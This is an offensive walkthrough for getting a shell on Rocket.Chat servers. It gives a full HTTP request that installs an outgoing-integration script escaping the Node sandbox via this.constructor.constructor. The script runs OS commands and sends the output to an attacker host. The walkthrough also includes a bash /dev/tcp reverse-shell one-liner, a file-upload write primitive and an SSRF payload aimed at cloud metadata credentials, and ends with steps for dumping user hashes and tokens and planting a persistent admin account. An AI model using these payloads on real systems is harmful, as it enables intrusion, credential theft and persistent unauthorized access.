The route to a shell on Rocket.Chat is: win an admin token through the NoSQL login bypass in authentication, then use the admin-only integrations feature the way it was built to be used, except the "script" an integration runs is server-side JavaScript in a Node vm sandbox that has repeatedly been escapable. Integrations are the intended extensibility mechanism, so this is not a memory-corruption bug; it is turning an admin feature into code execution. The file-upload and message-parser surfaces are secondary sinks that matter on builds where the script sandbox is hardened.
Precondition: an admin token#
Everything here needs X-Auth-Token/X-User-Id for an account with the admin role or the create-outgoing-integration permission. Get it from the login bypass or a reset; confirm with GET /api/v1/me returning roles containing admin.
Integration script sandbox escape to RCE#
An outgoing integration fires an HTTP request (and runs its script) when a trigger event occurs, for example a message posted to a channel or a slash command; the script is JavaScript executed on the server to transform the event. The sandbox exposes a limited global scope, but across builds the wrapper has leaked a path to the real require/process (through the script's own constructor chain, an exposed module, or this.constructor.constructor), from which child_process.exec runs OS commands. Create the integration with the payload as its script:
POST /api/v1/integrations.create HTTP/1.1
Host: target:3000
X-Auth-Token: <admin-authToken>
X-User-Id: <admin-userId>
Content-Type: application/json
{
"type": "webhook-outgoing",
"name": "x",
"enabled": true,
"event": "sendMessage",
"channel": "#general",
"username": "rocket.cat",
"urls": ["http://127.0.0.1:1/"],
"scriptEnabled": true,
"script": "const p=this.constructor.constructor('return process')(); const o=p.mainModule.require('child_process').execSync('id').toString(); class Script { prepare_outgoing_request(){ return {url:'http://attacker:9000/?c='+encodeURIComponent(o), method:'GET'} } }"
}
{"integration":{"_id":"...","name":"x"},"success":true}
A success":true means the integration and its script are installed. Trigger the sendMessage event by posting to the channel it watches:
POST /api/v1/chat.postMessage HTTP/1.1
Host: target:3000
X-Auth-Token: <admin-authToken>
X-User-Id: <admin-userId>
Content-Type: application/json
{"channel":"#general","text":"go"}
The script runs server-side, execSync('id') executes as the Node process user, and the outgoing request carries the output to your collector:
GET /?c=uid%3D998(rocketchat)%20gid%3D998(rocketchat) HTTP/1.1 <-- arrives at attacker:9000
Seeing the uid=...(rocketchat) land at your listener confirms code execution as the service account. Swap id for a reverse-shell one-liner (bash -c 'bash -i >& /dev/tcp/attacker/9001 0>&1') to get an interactive session. An incoming integration (webhook-incoming) runs its script when its webhook URL is POSTed, which is the variant to use when you cannot post to a watched channel but can reach the generated webhook endpoint.
File-upload sink#
The avatar and message file-upload endpoints (/api/v1/rooms.upload/{rid}, setAvatarFromService) take a filename and content type. Where the storage backend writes under a web-served path without neutralizing the name, a traversing or script-typed filename writes a file the server will later serve or interpret; on the GridFS/filesystem backends this is a disk-write primitive that pairs with the message-parser SSRF below to stage a payload. Confirm the configured upload store from settings.public (FileUpload_Storage_Type) before relying on it.
Message-parser SSRF#
Rocket.Chat fetches remote content server-side to render link previews and OEmbed/URL unfurling and to proxy avatars. Posting a message containing a URL you control, or setting an OEmbed/webhook target to an internal address, makes the server issue the request from its own network position:
POST /api/v1/chat.postMessage HTTP/1.1
Host: target:3000
X-Auth-Token: <token>
X-User-Id: <id>
Content-Type: application/json
{"channel":"#general","text":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
The unfurl fetch hits the cloud metadata endpoint from the server; the preview that comes back (or the content proxied into the message) returns the internal response, including cloud instance credentials. This reaches internal services the Node host can see even from an unprivileged token, and the credentials it returns are a pivot off the chat box entirely.
Follow-on#
The integration script runs as the rocketchat/node user, giving a shell on the host with the service account's reach, the MongoDB connection string from the environment (MONGO_URL), and every stored integration secret. From the Mongo store, read every private group named during enumeration directly, dump the users collection (bcrypt hashes and personal access tokens), and persist by planting an admin account or a long-lived personal access token.
Tools#
- RocketChat/Rocket.Chat (server source, to find the script sandbox wrapper per build)
- A simple HTTP listener (
nc -lvnp 9000, or a Pythonhttp.server) as the outgoing-script collector.